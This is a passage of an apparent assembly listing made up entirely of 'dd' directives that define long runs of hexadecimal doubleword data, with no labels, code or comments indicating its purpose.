0C24FB90Dh, 0B029E368h dd 2655C5D6h, 16A399Fh, 0BCF1AD9h, 0AE79CE21h, 4062C44Ch dd 8F0BBA36h, 44FD921h, 72FB101Ah, 50089F8h, 4FD85CEBh dd 7111050h, 5142AE5Bh, 5A8D1AE9h, 9DC604ACh, 0AF03B310h dd 80039B1h, 0B7B56DE9h, 0B7C17413h, 0C87B54AFh, 0E19FBCABh dd 5A7D5F82h, 86200092h, 0E967C155h, 4CFAAA5Dh, 168E2F23h dd 0B4DDFB06h, 5BFD8800h, 66174491h, 0D5209AA1h, 8DEE9F14h dd 0B839E12Fh, 3DABBF0h, 0E96E6637h, 9150CD6Fh, 5482B507h dd 0C8442595h, 0C1758C20h, 0F2C5208Eh, 10A1DB15h, 717AFD66h dd 44D614Eh, 85BCC108h, 0C335801Bh, 4C71419Bh, 928BFE4Bh dd 0A16BE63h, 0C3FD33AAh, 0A3A70572h, 0A805D9F7h, 463C388Ah dd 0BEEFFEF0h, 235D27A7h, 85088B83h, 0A53F3CF8h, 837E957Fh dd 0BB4CD5C9h, 0C7F819A0h, 0CBAAD997h, 68B8B0D5h, 32765F62h dd 74F4A1E8h, 1B5F843Eh, 92AC42CEh, 0AE6C4A00h, 40E58167h dd 14A61D09h, 0DB207D4Dh, 3C203777h, 0FD492A0h, 57F4AC2Ch dd 534BDC22h, 0E2974AB2h, 0A1049680h, 65AA70BBh, 0C9290F7Eh dd 0E94C48E0h, 17C080C0h, 0E27D94EEh, 40009877h, 68395DD5h dd 2C38DBEBh, 5CDBC949h, 0FE9F8566h, 0C8513Ah, 0B4022F68h dd 2644609Fh, 0E91773F0h, 4FA9B28Eh, 0F2F4EA27h, 0A342FBEh dd 77083647h, 0BD680775h, 0B4DD0B05h, 0CE5EF2h, 0FFC2DE2h dd 0C5E2015Ch, 77443190h, 0AA1509EAh, 6D57CFE3h, 2135843Ah dd 0F9288576h, 8C8A847Bh, 0BF665702h, 7A5D863h, 0F2FD4FADh dd 1E795D2Ch, 4145727h, 0CDE4799Dh, 0C2743F2Ah, 6BB9A5BAh dd 0E91DFBA3h, 1D7BA7CAh, 83A8BAA4h, 77064B02h, 0FD6C6816h dd 0D6D2089Ah, 98F38102h, 0C0279A7Bh, 6E283109h, 0F7C1C42Ah dd 6E67E859h, 5589A684h, 55DB903Ah, 38627568h, 7D3EA987h dd 7BBFC739h, 0EC2A86A5h, 3CEE4BE8h, 0E5BE92Fh, 0A86A33F1h dd 8BD5E149h, 0BA9C604h, 0A3CE8103h, 5303145h, 0E225C70Ch dd 9DA0BE34h, 6814480Bh, 0FE9C7204h, 1C16BE49h, 51B761ABh dd 4DF92FCDh, 541839D4h, 0E3C21BD3h, 51297D13h, 84450FBh dd 38B0455Ah, 0BA95A49Dh, 74D65C09h, 2DDBD031h, 52D9308Fh dd 73EABF80h, 48141F8h, 7C6B3ECFh, 559BC064h, 36606317h dd 9B452818h, 7E269022h, 0F00D2779h, 0BA09A558h, 585A035Dh dd 90586039h, 21522D9Eh, 4C97D0F2h, 9DCD90ABh, 0DFA072E5h dd 4D2E2C2Ah, 311CB805h, 0C4AF42E9h, 3189EF76h, 4A2CF0F8h dd 0A483BE3Fh, 77A4F2EFh, 4E554209h, 0CF0154A0h, 62A52668h dd 15CBCF00h, 2948E094h, 0AEA17C8h, 0FE96F6F2h, 0D46731D1h dd 84ACA87Fh, 0B4BBEAB5h, 849F22B5h, 94FFBF7Dh, 0B6F8AB8Dh dd 3B5D50B1h, 0E9C2FAFCh, 9277CD20h, 5D71A2F5h, 2DDD6C56h dd 0D351BF4Eh, 9F5AD0A7h, 0C79D9E9Eh, 6866809Dh, 0ABE92844h dd 48E4B14Eh, 0A397127Fh, 530000D8h, 11EBD18h, 8D98B1A0h dd 0FB03B580h, 9D397CE0h, 78A00A4h, 0ADC3E1F7h, 49182509h dd 742F8BDEh, 0A6C340C6h, 2290B280h, 207D5A09h, 2AE27F73h dd 8D590804h, 13D17ACEh, 0D781A05Fh, 0B60939E7h, 0A54A2052h dd 5AB77016h, 421A01EFh, 7E355F58h, 125657A4h, 0FEF6C89Fh dd 0F4875E57h, 8071C280h, 0B8E9136Bh, 104CA28Bh, 642A6218h dd 910250F4h, 0EF5E5B21h, 2658C027h, 0B27F736Dh, 0F952D77Eh dd 0E3E9C2F6h, 443A5593h, 3C68B860h, 0ED973650h, 0CEC20250h dd 4BA57D1Fh, 4C592C78h, 3E3D9AC0h, 0F74F1816h, 6FE7EBDFh dd 76F33502h, 518CCCE9h, 0D4193C4Ah, 7ABD1091h, 25684AE4h dd 0A4791116h, 0D5DD8E8Dh, 0B5011020h, 6B27D4h, 0A914F87Ah dd 427EB52Bh, 0CC10820h, 2CCB0A88h, 1234923Eh, 305C7258h dd 0E85A7359h, 8162299Ah, 5445998Ch, 0DF69A021h, 0EB492366h dd 0B2312789h, 0DF724ABFh, 6D1F5E80h, 68124E6Ah, 0FC333488h dd 0A1334B57h, 9600225Ch, 42F71CFFh, 0E1308DB1h, 692C4D52h dd 8EC8C4Ch, 4A201C68h, 8258DD71h, 37F1126Dh, 0CCA86C72h dd 974C93E9h, 0C8FBD227h, 185E3D87h, 0EDF537A4h, 838EC979h dd 1014F353h, 0AC2438E2h, 0F10712C0h, 24982FDBh, 48802B68h dd 0C32213B0h, 0C3E95B6Eh, 28C6E570h, 0F2B650F6h, 3652BAF0h dd 228B9784h, 0B4275A24h, 0A4E3EB6Bh, 0FB8848C4h, 40237C98h dd 0E0A9F740h, 564F6A17h, 0F039E9EBh, 35580253h, 204266D1h dd 0B9499C82h, 96E52644h, 0EB83CD2Ah, 782BFA52h, 0C2425C6Ch dd 45D9E815h, 0E1594F7Fh, 0A5B42861h, 0B997E85h, 8030B020h dd 0A0B0540h, 0D72F1CC3h, 5DF81B41h, 1ADA02B0h, 0E9B0A95Ah dd 9C1DD16h, 3117F3B8h, 0E738BBF0h, 52C104B9h, 0E9410122h dd 3C980D41h, 63F89EA7h, 0C123F47Fh, 6EA9A0Ch, 0C1B96BC3h dd 31406809h, 0F1920630h, 0D9BA1AC0h, 0A01A0343h, 4C12ED6h dd 2E96C88h, 0C11D137Ah, 50DD79D5h, 3FE7D8F0h, 0B54A948Ch dd 0D35D8C09h, 6BE9C2FCh, 75253D54h, 840FCB68h, 0ABFFAE2Fh dd 0D2A957B8h, 0BE62BCF7h, 0B85060CAh, 4E3C15FDh, 88C1AC1Ah dd 47FC924Fh, 7F2FEE5h, 20B8F3D3h, 0BE0D0556h, 0FB3F317Bh dd 9D4B681Fh, 520DFC20h, 0DEB5F9D0h, 0FAA521Eh, 0E1DE132Eh dd 0DFB16FACh, 2546B66Eh, 808F4070h, 34ED78C5h, 0AAAF371Dh dd 94EB8085h, 0AE861769h, 0F7E97545h, 0B40289F8h, 32F4805Dh dd 8ADD6940h, 8B405E81h, 1D7134C6h, 85354833h, 0C40C9B0Bh dd 0A149884Fh, 0BF37FB5Fh, 0B2EF14C4h, 5F19D064h, 0B96400FAh dd 0AC729BFDh, 745E2D02h, 0E3296AE3h, 0FC99B76Ch, 5EEA1Bh dd 14E64AA3h, 5190D1F7h dd 7656FE0Bh, 4A2BD070h, 0FB571353h, 0C9FAC452h, 0AEF26ECAh dd 9DA40DB1h, 0A88C57C8h, 25F0C93h, 6805EEC1h, 0B5107CDh dd 0DC10AC82h, 40080153h, 7FC0D335h, 290005B9h, 252A4C5Dh dd 483A60BEh, 6702216Fh, 21619243h, 0C0BDC60Bh, 0EE2D5852h dd 0AF09927Ch, 0B8D6D0E9h, 8956E5C3h, 0D3E3E21Ch, 31F790D2h dd 5D2817B7h, 1918387Dh, 0EB38EA5Bh, 0E9924A4Ch, 0EAE3E2B8h dd 19D3DD43h, 175DFECBh, 0D48AAD5Ch, 72522A93h, 0FB805A5Bh dd 95081912h, 88208D5h, 0CEFE0A92h, 0B26650F2h, 81AFAED2h dd 2F06D1Bh, 57F2FF53h, 0E2C15A16h, 9DF20700h, 9DEDE472h dd 0C0E9D901h, 6856002Fh, 2F7DBE10h, 0DF52D6F1h, 52BD224Ch dd 0F84E3182h, 8AD6F77Ch, 9494D780h, 1540685Ah, 1A94970Eh dd 178BE795h, 34DDEE55h, 4DDB86Bh, 61C0144Fh, 0FE72F4C0h dd 10CDBC58h, 46E15F18h, 2F78F03Fh, 59E9160h, 0EFE38FDAh dd 3B84D2A4h, 4F3439B3h, 5CF27B00h, 29A627E5h, 0B15A73D7h dd 0BCDA6431h, 88150BCh, 7128173h, 1641979Ah, 496B631Dh dd 0C5285568h, 0C2D8B508h, 0C2692A65h, 0EC2094EAh, 3DD3248Dh dd 273BDEAFh, 96278716h, 8E734A17h, 6976087Ch, 4B7A8403h dd 0BDCEFE85h, 80B5B603h, 8627DEF6h, 595CFE65h, 0B9526F34h dd 0F309A41Eh, 5918D5B1h, 0CC924EE1h, 6212CF4Eh, 7FECE1DDh dd 8B2095BCh, 99BD55D7h, 7E300A5Ch, 6513A44Ah, 76996DBAh dd 3D7A10CAh, 0EA9B95Fh, 1DFCB252h, 94ABD5E5h, 7BC2740Eh dd 0D3601E73h, 0F6925B83h, 18495025h, 148BCCFh, 0CF814599h dd 0F2D5635Dh, 875EC2DDh, 0EF8D19D7h, 7C7FC83Ch, 5B432F61h dd 2F9B5148h, 2189DDDDh, 2FF97A5Eh, 87F33B4Bh, 0C71A5449h dd 0C1B75C6Bh, 5F52FB0Fh, 0EE116A10h, 557A76B2h, 0E916B8BCh dd 0E3F3549Ah, 54DF3F18h, 19022AB9h, 0B56830D8h, 0A4A2A41Eh dd 35C4CF0h, 8025B450h, 0E38277C3h, 585B0375h, 4F9EEBE9h dd 7FF9CB24h, 4C22FD31h, 0AF288F5Fh, 0B69055DFh, 8BEB5170h dd 4132A9C9h, 0BBF22617h, 0A2D70DCBh, 0B1E91E44h, 34BB6665h dd 0BF4BFE65h, 4C9DC144h, 0CC14EA13h, 0D02C107Eh, 0F272BA03h dd 0B85BB925h, 67740C12h, 0E9A073B8h, 0FCEABEFh, 85A7E5D5h dd 0C39CE2EAh, 9431685Ch, 0B09630ACh, 13E06D26h, 210B9C92h dd 70C2E9EFh, 424E9694h, 0CE5F828Dh, 951B2615h, 6E08025h dd 0D40DE8D1h, 14320A00h, 0AF21B22Dh, 1DA3907Fh, 0E873D46h dd 0EBBA82E9h, 0C48141FAh, 956800B8h, 0C65DCB6Dh, 0F0E0C069h dd 19C92A0Dh, 0D461E2A0h, 0F1C06EB2h, 39B04F76h, 88F022BAh dd 0B36CAA08h, 3B3D2629h, 77011A0Eh, 14D1A55Dh, 294E6A60h dd 56E92D06h, 685E988Bh, 752BC22Fh, 57B60BC6h, 55CBD3Dh dd 0E8298B2Ch, 5A689398h, 509AF38Ah, 0AC4BE4D0h, 0DF3F72AFh dd 8454D157h, 986D5AE9h, 75D6E41Fh, 2E949697h, 0E2AE44D5h dd 0A4C3C4D5h, 42C3104h, 870FD114h, 0C3E181C0h, 35505F7Bh dd 0C71742A0h, 0B449FAB2h, 6966DE50h, 0C370D5F2h, 7E9A4310h dd 0C2D9E909h, 0C98873FCh, 737E2D1Fh, 0B0726309h, 8248CFF9h dd 6AE49500h, 77F60A8Bh, 0B85200B5h, 0EE0B5Fh, 60C53512h dd 0C209542Dh, 41AF584Bh, 7469B897h, 5BD1F3D1h, 4E762DA0h dd 5B7B46E9h, 24BCC089h, 0C059FEDBh, 401B3A98h, 87E712D1h dd 0B60A13CFh, 0D05017B8h, 0E8D660FCh, 0B53AC487h, 81134D1Dh dd 94EA7726h, 46149C0h, 0D987C331h, 4164288h, 893FCC66h dd 69C3EECEh, 68071C03h, 0BC97693Ah, 7765BF18h, 0DB9CB670h dd 1941B889h, 96FCBF4h, 685C591Dh, 0E228255Ch, 21E4CF23h dd 0AA395740h, 54F1175h, 0A955844h, 0FA510412h, 27680360h dd 0D8991811h, 77E81520h, 5C635094h, 0C785028Bh, 1E660A6Fh dd 4F0E2640h, 0E07E5825h, 98CF012Eh, 7CBF3A06h, 0CBA97BA4h dd 552729DAh, 971F6BBCh, 4668B3Fh, 0EA12F011h, 775CCDC2h dd 297B66Eh, 0F73EFE96h, 0E9424936h, 375F5D75h, 0E790500h dd 0C62D787Fh, 7ED7733Ah, 656AA8C3h, 0E581E8FDh, 0E68126Dh dd 47DF1F3Dh, 0C063A141h, 8F1687EBh, 30E9333Eh, 3C567C2h dd 0BCEA723Fh, 913A8B98h, 370BFDFAh, 0EE79D15h, 74A34B32h dd 1CC5826Fh, 0A9FD1D06h, 5A18DC42h, 1ED5A168h, 2902EF0Bh dd 68705E74h, 8214200Ch, 77100B29h, 2D08B0A8h, 5E97D3DEh dd 5355CA45h, 161EDB00h, 25E90323h, 0AFC62C3Dh, 0F6C4EE60h dd 984A0CCEh, 0F70B5A5h, 505C569Fh, 8B9754E9h, 951759A8h dd 8816FA27h, 0AA7FF0EEh, 64B3894Fh, 5E366882h, 51799246h dd 8D163209h, 6894797Bh, 0F5F230A3h, 762EE91Fh, 30897752h dd 0E8F129FDh, 95D83999h, 5062E5F6h, 0FA9D4814h, 8D760F7h dd 6DCA8142h, 0CF43123Fh, 0AA4BF981h, 0EA5F5792h, 0D09829C1h dd 48AC3ACh, 0FB332377h, 5AD1F042h, 0FF0DE457h, 27FB97Bh dd 71F87E61h, 0E7DAA0C1h, 12A81F55h, 4F69E927h, 0C9BD8FA8h dd 655F7ED0h, 0EE7525A7h, 2268B77Fh, 2A83B0C1h, 80B94FECh dd 74D218Fh, 31053FD4h, 0EA3B1508h, 0C0061B1Ah, 0F6BFF05h dd 10E97AB8h, 58F575B9h, 605B9F1h, 0D17A5C28h, 0AFF12880h dd 6B123B1Fh, 0A8D6B796h, 54B8C9FDh, 0DCD125DCh, 33A06884h dd 1C970ECh, 4A74945Fh, 0A5CCB85Dh, 0A4BE9382h, 0D08042A0h dd 0E1CF5227h, 0D4357CF1h, 0D322AD2Ah, 76CB8809h, 7EC062F4h dd 3D07F375h, 4BD594BBh, 9A969AE0h, 460DBDE9h, 0A2617A08h dd 22ADFC4Ch, 7DABDF58h, 580DE6D9h, 572F5967h, 73B0F554h dd 8082C831h, 757FAAB9h, 8035B901h, 0C2291EA3h, 2E985655h dd 0D6DD5C5Ah, 3951807Fh, 0E9262F36h, 76AF7D3Ch, 5D0A18B4h dd 665ED728h, 0B19AC2F0h, 0EEC96E65h, 57A5D556h, 12E3247h dd 80714B42h, 0F86DED43h, 0A21DB82Eh, 2908052Dh, 0BD1B5481h dd 26301275h, 392C60C9h, 0DD1735C7h, 0FB4C76B8h, 6A267FC1h dd 56A7EECEh, 0C71E087Bh, 0E6D8F70Fh, 5E3D8728h, 6219FDC2h dd 48BDAE5h, 8ED0EF5Ah, 92B212E7h, 19B7018Ch, 57E95EADh dd 0C88D2F31h, 0A73D34E5h, 7A40A410h, 0B854872Fh, 5CABB04h dd 0E971B262h, 58799330h, 0F4ED86F4h, 7F5F4209h, 83D9B952h dd 3E540101h, 164100E3h, 0E9788C3Fh, 5E42D259h, 0EB1C28AAh dd 0DC951A70h, 3BD1E9EEh, 6BE38616h, 85DF0893h, 80ECB301h dd 0EBCCA2E3h, 0D9881C9Fh, 51C2305Bh, 0CF03B252h, 0EAE908B5h dd 0F2332F6Eh, 3833C27Eh, 0BB0C3357h, 0D388F63Eh, 424F84E9h dd 5C8528B8h, 0FD8BBF55h, 0C90FFCD6h, 6E14DD5Dh, 9EC27DB4h dd 0F78E9A9Dh, 123F4379h, 0BE4E992Ah, 4467E5EBh, 8A96C6E3h dd 685604E7h, 0A4451DF2h, 0D61FE3BFh, 6D6CEBBh, 1F4B23BFh dd 385A798Fh, 0AE5A0359h, 2D510838h, 0CFE1B2E9h, 2FAD6E5Ch dd 0DD7BE512h, 96C220D3h, 67780302h, 0A23B7FE9h, 5D5DE8F9h dd 442547E5h, 3BC3AB4h, 77849B58h, 21344C57h, 0A17E74B4h dd 0C16C969Dh, 0A100B7Ah, 0EC8E1ACEh, 5FFA437h, 69AC6310h dd 8C3B167Ah, 107BAC23h, 0C11235CDh, 0C209BEE2h, 0C4E6DD42h dd 7843D60Bh, 0C3FA7Bh, 6D376FAFh, 3511D05h, 0B6BC684Bh dd 0EC5A0740h, 7B4F1609h, 4E10AE13h, 7C562D07h, 0E91656C7h dd 3963BF62h, 0EBA48CA1h, 21C39502h, 7E16FF85h, 0D2D98BFEh dd 24AF1A4h, 0E9163B76h, 77D917FEh, 0F20D2902h, 0E0A88214h dd 78C22C6h, 0D4E9A7D9h, 0C8ECC9C3h, 0B42BA4C4h, 7A3FD9h dd 0F180CB27h, 0D94EF65Fh dd 3078C2B8h, 0AD0CD4C9h, 0C8E0F304h, 0E7922C74h, 62E5D1BFh dd 53D13653h, 74DC6841h, 0A86F303Bh, 12181D34h, 6CCC5653h dd 17465913h, 0F67B180Fh, 0E18B0590h, 0D5B859B6h, 0D0035E4Ch dd 296010C6h, 0A1E7E9C8h, 88C1D195h, 9824A4A2h, 0AC768902h dd 68A6421h, 4A0E782Dh, 4ED11129h, 0EBC24F0Ah, 9FAB6C5Eh dd 55723976h, 0EBEC1BF6h, 0C4C52DE9h, 2830D671h, 5C5C19DFh dd 0AD322112h, 0E05D31EEh, 1F58101h, 3C16217Fh, 7E01ED83h dd 85951285h, 486AB7AFh, 252D5227h, 7FB5D0C2h, 5FF92D58h dd 2C8198FDh, 69DC9D9Bh, 60B45A6Ch, 0E62D408Eh, 237ADC75h dd 2BDE5F32h, 0A830DDDFh, 2F246761h, 7502CD27h, 0D71E3F48h dd 8020B4Ah, 90D55B5Ah, 0B7EF64C2h, 4843DAFEh, 0BF700273h dd 1C827FACh, 0C04F7341h, 0E91047CCh, 0B9024615h, 0DC46B8Fh dd 82B9B6D6h, 29309B72h, 0C01324Ch, 0AF28F0E9h, 3CB8F83Ch dd 0E21E1AECh, 5AD0CB58h, 0AD121974h, 13930BAAh, 455508ABh dd 0A0B2E21Ah, 74C58BA7h, 4F60FC0Dh, 0E70071E6h, 2186397Ch dd 8494D68h, 6537816Fh, 5B313274h, 0AF24F24h, 3CDC9607h dd 0CE904A2h, 0F7B9ABC1h, 133BE9B0h, 0E2910CBh, 0B1614C84h dd 100538C7h, 10758D2Fh, 709FE9E0h, 0D656BF7Dh, 8FE25752h dd 0E956A1DFh, 4D8282E4h, 0A174E8F7h, 2D5F87E2h, 75EC2CB2h dd 0C634F7A5h, 21C6B4D4h, 0D6575A9Eh, 0B04A71h, 51AA3B78h dd 4648EED1h, 1DB905E9h, 0B18128D5h, 843A26E9h, 71CFAE35h dd 4BEB5C50h, 5156D949h, 4365130h, 506A4FAh, 0FE20DA97h dd 0A54C60F1h, 75D67C1h, 165F783Eh, 8C90CE59h, 673E0112h dd 0D1C7C82Fh, 82D16106h, 774A52E5h, 2D315CDFh, 8CBA9DC9h dd 5AF129AFh, 0AD4B1399h, 0E4E400Ah, 0E96F6A0Dh, 7ECABF35h dd 0B2BF8184h, 19B64E4Dh, 516BAC01h, 0D2D5F74Ch, 41B6BADDh dd 6930813h, 0C9680003h, 356C055Ah, 0A72DFAFEh, 2D407818h dd 6D5CC490h, 209A77DAh, 5A99141h, 0EE6DC1EAh, 2EA098D2h dd 2D095ED2h, 621659CFh, 0D146097h, 0C06948BFh, 691AE427h dd 469D3950h, 9AE3C1DAh, 3E696C12h, 126E64C8h, 0E87E8A4Ah dd 9FED2CEh, 9855B85Bh, 820613F0h, 65B06450h, 0E46F3433h dd 44F4F7FFh, 0A605DFADh, 0AABED75Ah, 5958C10h, 228D352Bh dd 0C6AA905Dh, 3004BA04h, 0E6C07887h, 48B50ED3h, 77382406h dd 0F6D8AE4Bh, 99BF4E9Ah, 12AA2C48h, 28EB5435h, 0D9950C5Eh dd 0F2E96282h, 3885E48h, 0C4A3749Dh, 32E2BFE8h, 0A8C0B617h dd 0A2BC195Ah, 0B97A581Ah, 0F7A0E232h, 0CA890E59h, 0BEF15DC8h dd 57709D8Ah, 26DFFAC9h, 8F66D90Dh, 6AE5FECDh, 0FAB60143h dd 544B6F4Eh, 0D185BEA8h, 9D71150Eh, 9CC147D2h, 5B81B74Dh dd 0E36F31E1h, 0CCC2EC58h, 5BE0A2BFh, 508EC028h, 731CC9B4h dd 66EC597Ah, 0BFF2D54Eh, 9548EB89h, 7CBFEE46h, 1166CF43h dd 0F30537D1h, 0EB95906Fh, 0F12CAEBDh, 75A205B1h, 0A7F7C13Eh dd 60306E06h, 0B7AF6620h, 31723C0h, 0FC406D27h, 5808A0C6h dd 0E06CA59h, 0C7DC013h, 2401510Ch, 14033620h, 0C2F0CB85h dd 7B2A5D0Bh, 0EE0125F0h, 521C97Ah, 53DCF416h, 58E90481h dd 0AF331369h, 807B3A1h, 22FC29C7h, 0B86F1A04h, 280E0C75h dd 0E67D5E8Bh, 2FC17F21h, 1F10DE0Fh, 0BFEFEA81h, 78161203h dd 0F9C446BCh, 2815888Dh, 0BE9C1928h, 93856C5Eh, 0B9AAD824h dd 28BFF5BEh, 5A4DE93Eh, 49B07E52h, 2AA2C20h, 68F1F766h dd 0B4542DBAh, 23F1FB64h, 0E1C0703Bh, 742F251Fh, 0DC8CBA29h dd 78C7098Ch, 4406D9E6h, 5D65763Dh, 0B8AD5BDEh, 6866C1EDh dd 0A322715Eh, 6DB75301h, 839E54E9h, 8858B044h, 9A809BC7h dd 7A7455E7h, 0BA0273A6h, 7776A909h, 0AB701982h, 91E53D5h dd 0E4FF754Ah, 0F0CABDA4h, 0C1F89BF7h, 8A2B587Ah, 0A5231018h dd 0B25D592Fh, 0E99740AFh, 34D89FCFh, 0AF55459Dh, 78D77FE1h dd 0C7BA05CDh, 0A827363h, 26C0EEAh, 7FF66807h, 3432BCACh dd 0DDC7B5D7h, 835D9FC8h, 0F71481EFh, 0B0D22C0h, 4EFDC13Eh dd 10202601h, 7C4D956Ah, 16145126h, 0C688FADEh, 61E660ECh dd 3D7BEBC3h, 2F1F1C5Ch, 5EA9F750h, 0D3CCCE57h, 9733F3FCh dd 0FA2BB029h, 5879A72h, 7AF6EF5Ch, 9610E983h, 4077CD1Eh dd 91B42B16h, 394195F2h, 7BE80593h, 0F8B41384h, 8D4EC4B4h dd 18EC880Ah, 1C2DEB15h, 58A4682Fh, 7055012h, 0CED2E2E9h dd 5BCB5522h, 0BD5F1BE0h, 0CBEBB317h, 9EBB00EAh, 130EC4Ch dd 45F5FD78h, 0D4390908h, 1842157Eh, 25000B2Ch, 0E924564h dd 0D55F40BFh, 0C8BB803Eh, 21097117h, 87D622EFh, 2C09BED8h dd 0FE0C041Ch, 267D3AD9h, 8C12C075h, 5A0A73E7h, 6648C2E0h dd 7DD54887h, 5F8D3A5Bh, 6809CF0Eh, 0B2716B84h, 5E1103Ch dd 9F457248h, 14715D6Ch, 0E5195E17h, 80A02A04h, 5EF2AC82h dd 17AAF084h, 0D952F438h, 53C8A60h, 5A683311h, 89AD8C15h dd 48E9C30Ah, 2DBBA9F8h, 35758005h, 271F515Eh, 1FC48915h dd 41BB665Eh, 0F022603Dh, 85FFED13h, 5C801BBh, 591ED3BEh dd 988AAFB5h, 514B8F32h, 0ED2D96A0h, 0D48A070h, 9F9A20A9h dd 0C15EF801h, 81D70E6h, 3743C94Eh, 944C225Ch, 0B9EB17BBh dd 610B4101h, 0E6E92AB2h, 0EF1445E7h, 0E90B57B7h, 4A5F7771h dd 64CBDB8Dh, 0C1FC1201h, 10FE3B1h, 0A330BE59h, 0FF1F4C80h dd 0F2550905h, 0F294AA0Eh, 0E9590801h, 0B62E6520h, 4BC09EF6h dd 68729F47h, 0B67A595Ch, 0BE2D029Fh, 0DC89C166h, 238E458Ch dd 0E180CEC4h, 0C87527D9h, 0EEA75503h, 5DC2596Fh, 0AF0E7B34h dd 0F34277F1h, 31EC0F3Eh, 0DDD0C062h, 2CCA058Bh, 5BED89Fh dd 0AAAFBFEDh, 0D501F361h, 0E912A569h, 0A9915774h, 7C0D169Dh dd 7E2002C9h, 29214F1Eh, 0E3B22F68h, 0A12E24D2h, 7F5EE1CAh dd 0AEBAB400h, 9C27C749h, 0EE20705h, 80149464h, 2BCF1B10h dd 86EAA34Bh, 0F1273D4Ah, 0D2CE54Eh, 6B0A4A0Ch, 9197A2E3h dd 298BD109h, 0E6EED267h, 8FFF923Eh, 1F680C11h, 5F2A7D58h dd 6A6B8917h, 7B407AA1h, 17AC2DFCh, 409BE93Fh, 79E2B9E9h dd 41971F2Fh, 0FFC7D1C9h, 3FAE813h, 835BF20h, 0C1D938A2h dd 0CB4F298Ch, 26D97331h, 39E902D4h, 527094F3h, 57DE312Ch dd 0DC824B4Eh, 1D054FB4h, 8E38EC77h, 145E6406h, 30E9BF88h dd 0B966C3CEh, 0FD9E33C7h, 901C813h, 42A406F9h, 0A1124121h dd 8B2FE2ACh, 0B22F10F8h, 92E9186Ah, 0ADCB65C5h, 0CEA401Dh dd 1390F380h, 984B59BCh, 0CE925FD9h, 52D85064h, 470D9BB0h dd 0E25BD931h, 4B8E2ACCh, 948FA10Ch, 490A0594h, 0D659898Ch dd 42BB5842h, 7F08A626h, 97385E07h, 56D329C0h, 0D20225E9h dd 5F51995Ch, 0BF027A2Ch, 286943B7h, 818160FDh, 0E150CF6h dd 0B50C13D4h, 3B51D5ECh, 4E02F0FCh, 0F701291Fh, 4C08EF94h dd 6D6B16ADh, 0FE16D3E3h, 9EFBB894h, 0DD331909h, 4B7FB19Ah dd 5456E920h, 61A8FC54h, 0EB81855Bh, 5D8B04A3h, 0A210CCF7h dd 9A3F84C2h, 70970812h, 3802A326h, 7F372C5Eh, 24EA00C0h dd 0C3D4733h, 55A8029h, 16E44BE9h, 2C80BF83h, 0B1A7CDAh dd 7B76680Eh, 61C0207Eh, 23EE214h, 9A68D4BDh, 0B962311Eh dd 8ACAA2FDh, 0C859A7h, 146EEF68h, 462C5E7Bh, 9743D956h dd 29722DB3h, 640997Dh, 0A26A173Fh, 0A968826Eh, 9063D40Fh dd 61BF4BC7h, 96B45038h, 18ADCE96h, 0DAF62E80h, 8858F280h dd 0C2330FBh, 0B7DCE919h dd 0A1B1D9F3h, 5300AD59h, 60E5EB88h, 0F4BF014Dh, 0C27488B7h dd 88091335h, 0FED84638h, 0E8ADC436h, 132DE9A8h, 5729A975h dd 3025EBBFh, 0FBF6D704h, 28C51B03h, 7011E2DDh, 29592770h dd 89942FF7h, 7CED07Eh, 0E58046B5h, 9DF5334Bh, 85B90628h dd 0DCF6331Ch, 5F04D49Ah, 70EC0BC1h, 1FB2A72Ah, 2E8C109h dd 91BF0048h, 0FE77633Dh, 2A849D61h, 0AE0BC428h, 72817285h dd 92D304D8h, 7B4E7577h, 2F6BAA58h, 0A009F21Dh, 900552h dd 2D494D6Bh, 469A0E1Eh, 72039BEh, 5E1142F9h, 2A4AFAD7h dd 1EA50B97h, 525553E2h, 5EAC4586h, 47BE0550h, 182CBA5Ch dd 4E72FC02h, 6D6CABF9h, 9C6A2DE9h, 73AB5F2h, 0CF0D501Eh dd 0D7140h, 10AE6109h, 6A455B2Dh, 81C1BB4Ah, 5C02DCEDh dd 80DBEB40h, 0D5F6F4F3h, 5E5C000h, 0B050CDFEh, 0C5080060h dd 4DB35358h, 0AB98C380h, 3B380A20h, 4C982024h, 2DAD4C8Ch dd 9340290Fh, 89A26509h, 57F9AADh, 5B759F70h, 8FB5904Bh dd 894C8A60h, 4E2C2E28h, 21D6557Ah, 0FFEA0387h, 8CE2AF18h dd 80C9F95Fh, 6F7A2BE9h, 25B40169h, 5A4C0820h, 464E071Fh dd 0CED02ECFh, 7AB75139h, 8352B50Bh, 306E7E48h, 23FA38D0h dd 0C65602Fh, 3382117h, 3A4B8298h, 343E6743h, 6EFA187Ch dd 0E36816C1h, 48F25A0Ch, 0E5F3858h, 17BE523h, 3BDC09D3h dd 7E5A7E11h, 26C13A60h, 93FB5042h, 0BD59707Fh, 80CB417Ch dd 0D30A18DCh, 505F6251h, 0A3D58063h, 0B76F738Ch, 1339C579h dd 5F5CE813h, 0C7B3F937h, 0C531046Dh, 0FA129C34h, 0E91625E2h dd 0E6AEB4CCh, 1822EC8h, 0F01478BDh, 5104E90Eh, 7FAD66FFh dd 0F200DE1h, 0F15C58Ah, 738905B6h, 0AF238D2Dh, 820FD3CFh dd 726D6859h, 77AD6C22h, 0CD08DB59h, 21ED2F71h, 1162E984h dd 0F512FBB3h, 73C7E764h, 84FCCB5Fh, 15442C04h, 0ACFDAF7Fh dd 1F98EA92h, 0E15A3C6h, 0C3E7E921h, 6EF9E5DDh, 2ECA62h dd 892F8F68h, 8F8B6E31h, 922EF1DFh, 36E4641Bh, 4CDAB580h dd 0F81F673Eh, 0E907C150h, 8181315Fh, 0F9C91B2Ch, 53D05835h dd 0E02AF3B7h, 65F5A149h, 799B078Ch, 20B0C4FFh, 0BA05DB64h dd 414A03B9h, 73079801h, 0AA602E4Ch, 0D7B7DE31h, 0EB274D6Ch dd 72C8CF96h, 537F3CF3h, 0C4971473h, 70E0F0EEh, 9C5D9530h dd 8CF89C0Dh, 365F75E2h, 0B2DB440h, 0ED735DDh, 6520E4D0h dd 6850026Bh, 0BD5DB059h, 6C1FF50h, 92D8E9CBh, 0F60D8C6Bh dd 0BC5DBA40h, 9BC85A85h, 0E003828h, 7E2C10Dh, 2F79F281h dd 82774A4Bh, 5CC0E9A6h, 36DF2789h, 0EA5564E5h, 0D846195Bh dd 25E812DCh, 8177D029h, 1CECE909h, 0A7B72282h, 0C1FDC780h dd 473BAD55h, 604AE5D0h, 0F7DF876Fh, 0E908D362h, 5200C966h dd 50E29A3Bh, 80447EE9h, 374109C7h, 0E25F2923h, 0E9080164h dd 2765B367h, 4221ED2Fh, 50D85E6Bh, 515F01FEh, 0BA3E4468h dd 89142031h, 5A56749Fh, 